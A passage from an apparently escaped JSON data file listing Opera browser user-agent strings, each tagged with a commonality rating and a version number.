OPR\\/43.0.2442.1165\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; Win64; x64) Presto\\/2.12.388 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"37.4\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36 OPR\\/37.4.2192.109775\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.45 Safari\\/537.36 OPR\\/30.0.1835.26 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2036.25\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.87 Safari\\/537.36 OPR\\/37.0.2178.32\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"HTC-ST7377\\/1.59.502.3 (67150) Opera\\/9.50 (Windows NT 5.1; U; en) UP.Link\\/6.3.1.17.0\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36 OPR\\/45.0.2552.635\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/50.0.2762.67\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36 OPR\\/37.0.2178.43\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36 OPR\\/45.0.2552.812\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36 OPR\\/36.0.2130.65 (Edition Campaign 70)\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/29.0.1547.76 Safari\\/537.36 OPR\\/16.0.1196.80\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; Win64; x64; U; en) Presto\\/2.10.289 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.63 Safari\\/537.36 OPR\\/38.0.2220.29\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.82 Safari\\/537.36 OPR\\/35.0.2066.37\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36 OPR\\/38.0.2220.31\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36 OPR\\/44.0.2510.857\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; en) Presto\\/2.10.289 Version\\/12.01\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Linux mips ; U; HbbTV\\/1.1.1 (; Philips; ; ; ; ) CE-HTML\\/1.0 NETTV\\/3.1.0; en) Presto\\/2.6.33 Version\\/10.70\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.71 Safari\\/537.36 OPR\\/33.0.1990.43\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36 OPR\\/36.0.2130.65\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (S60; SymbOS; Opera Mobi\\/SYB-1204232254; U; en-GB) Presto\\/2.10.254 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.81 Safari\\/537.36 OPR\\/30.0.1835.52 (Edition Yx)\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36 OPR\\/40.0.2308.54\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.81 Safari\\/537.36 OPR\\/28.0.1764.90386\"},{\"commonality\":\"Uncommon\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/35.0.1916.138 Safari\\/537.36 OPR\\/22.0.1485.78487\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.94\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; en) Presto\\/2.7.62 Version\\/11.01\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36 OPR\\/51.0.2830.55\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.125 Safari\\/537.36 OPR\\/30.0.1835.88 (Edition FCR)\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2687.0 Safari\\/537.36 OPR\\/38.0.2205.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2125.122 Safari\\/537.36 OPR\\/25.0.1614.71\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.67 (Edition Campaign 76)\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36 OPR\\/39.0.2256.48\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (X11; Linux zvav; U; de) Presto\\/2.8.119 Version\\/11.10\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2756.0 Safari\\/537.36 OPR\\/40.0.2267.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.57\"},{\"commonality\":\"Uncommon\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.65 Safari\\/537.36 OPR\\/26.0.1656.24\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.517\"},{\"commonality\":\"Uncommon\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/30.0.1599.69 Safari\\/537.36 OPR\\/17.0.1241.45\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; Opera TV\\/58) Presto\\/2.11.355 Version\\/12.11\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36 OPR\\/36.0.2130.46\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1218\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.39\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36 OPR\\/36.0.2130.46 (Edition Campaign 70)\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36 OPR\\/46.0.2597.26\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.52 Safari\\/537.36 OPR\\/31.0.1889.50 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux i686; U; fr) Presto\\/2.10.287 Version\\/12.00 ; SC\\/IHD92 STB\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Linux armv7l) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.130 Safari\\/537.36 OPR\\/31.0.1890.0 OMI\\/4.6.1.40.Dominik2.175 VSTVB MB100 HbbTV\\/1.2.1 (; JVC; MB110; 2.21.7.0; ;) SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; Win64; x64) Presto\\/2.12.388 Version\\/12.12\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.351\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36 OPR\\/51.0.2830.34\"},{\"commonality\":\"Uncommon\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.27 Safari\\/537.36 OPR\\/26.0.1656.5 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36 OPR\\/31.0.1889.174\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36 OPR\\/46.0.2597.32\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.1165\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.0.39.18 (TOSHIBA, Mxl661L32, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.62 Safari\\/537.36 OPR\\/26.0.1656.20 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36 OPR\\/51.0.2830.55\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.91 Safari\\/537.36 OPR\\/48.0.2685.32\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.898\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2810.2 Safari\\/537.36 OPR\\/41.0.2323.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2159.4 Safari\\/537.36 OPR\\/26.0.1655.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2243.2 Safari\\/537.36 OPR\\/28.0.1738.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U;) Presto\\/2.7.62 Version\\/11.01\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36 OPR\\/51.0.2830.34\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2036.25\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.108 Safari\\/537.36 OPR\\/50.0.2762.45\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.0; Edition Campaign 21) Presto\\/2.12.388 Version\\/12.15\"},{\"commonality\":\"Uncommon\",\"version\":\"44.1\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.116 Safari\\/537.36 OPR\\/44.1.2246.123029\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.71\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36 OPR\\/35.0.2066.82\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.898\"},{\"commonality\":\"Uncommon\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2145.4 Safari\\/537.36 OPR\\/26.0.1632.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (Windows 98; US) Opera 10.00 [en]\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; U; Edition Next; en) Presto\\/2.10.289 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0; BLU STUDIO C 5+5 Build\\/LRX21M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.107 Mobile Safari\\/537.36 OPR\\/29.0.1809.91837\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.2357.125 Safari\\/537.36 OPR\\/30.0.1835.88\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.94 Safari\\/537.36 OPR\\/27.0.1689.66 (Edition Campaign 37)\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.94\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.64 (Macintosh; PPC Mac OS X; U; en) Presto\\/2.1.1\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.52 Safari\\/537.36 OPR\\/31.0.1889.50 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (X11; Linux zbov; U; en) Presto\\/2.9.201 Version\\/11.50\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.76 Safari\\/537.36 OPR\\/28.0.1750.40 (Edition Campaign 30)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1) Presto\\/2.12.388 Version\\/12.13\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36 OPR\\/46.0.2597.26314\"},{\"commonality\":\"Uncommon\",\"version\":\"01.0\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/35.0.1916.114 Safari\\/537.36 OPR\\/01.0.0000.00\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux x86_64) Presto\\/2.12.388 Version\\/12.12\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/50.0.2762.67\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.0; WOW64) Presto\\/2.12.388 Version\\/12.14\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686 (x86_64)) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.898\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.125 Safari\\/537.36 OPR\\/30.0.1835.88\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.90 Safari\\/537.36 OPR\\/29.0.1795.47 (Edition RMV)\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.60 Safari\\/537.36 OPR\\/39.0.2256.30 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; Nexus 5X Build\\/MHC19T) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Mobile Safari\\/537.36 OPR\\/37.0.2192.105088\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.63 (Windows NT 5.1; U; en) Presto\\/2.1.1\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2376.0 Safari\\/537.36 OPR\\/31.0.1857.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.162 Safari\\/537.36 OPR\\/52.0.2871.30\"},{\"commonality\":\"Uncommon\",\"version\":\"36.2\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; SM-E700H Build\\/LMY47X) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Mobile Safari\\/537.36 OPR\\/36.2.2126.102826\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1218\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.87 Safari\\/537.36 OPR\\/41.0.2353.56\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.58\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.94\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; Win64; x64) Presto\\/2.12.388 Version\\/12.11\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36 OPR\\/38.0.2220.31\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36 OPR\\/39.0.2256.71\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.125 Safari\\/537.36 OPR\\/43.0.2246.121183\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36 OPR\\/31.0.1889.174 (Edition Campaign 38)\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.89 Safari\\/537.36 OPR\\/28.0.1750.48\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.118 Safari\\/537.36 OPR\\/28.0.1750.51 (Edition Rambler)\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.130 Safari\\/537.36 OPR\\/30.0.1835.125 (Edition Ask)\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2036.25\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.67\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36 OPR\\/46.0.2597.32\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"MOT-A1200i\\/R532L4_G_11.40.1AR Mozilla\\/4.0 (compatible; MSIE 6.0; Linux; Motorola A1200i;nnn) Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 Opera 8.00\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux zbov; U; hu) Presto\\/2.10.254 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3224.0 Safari\\/537.36 OPR\\/47.0.2631.80\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36 OPR\\/31.0.1889.174\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 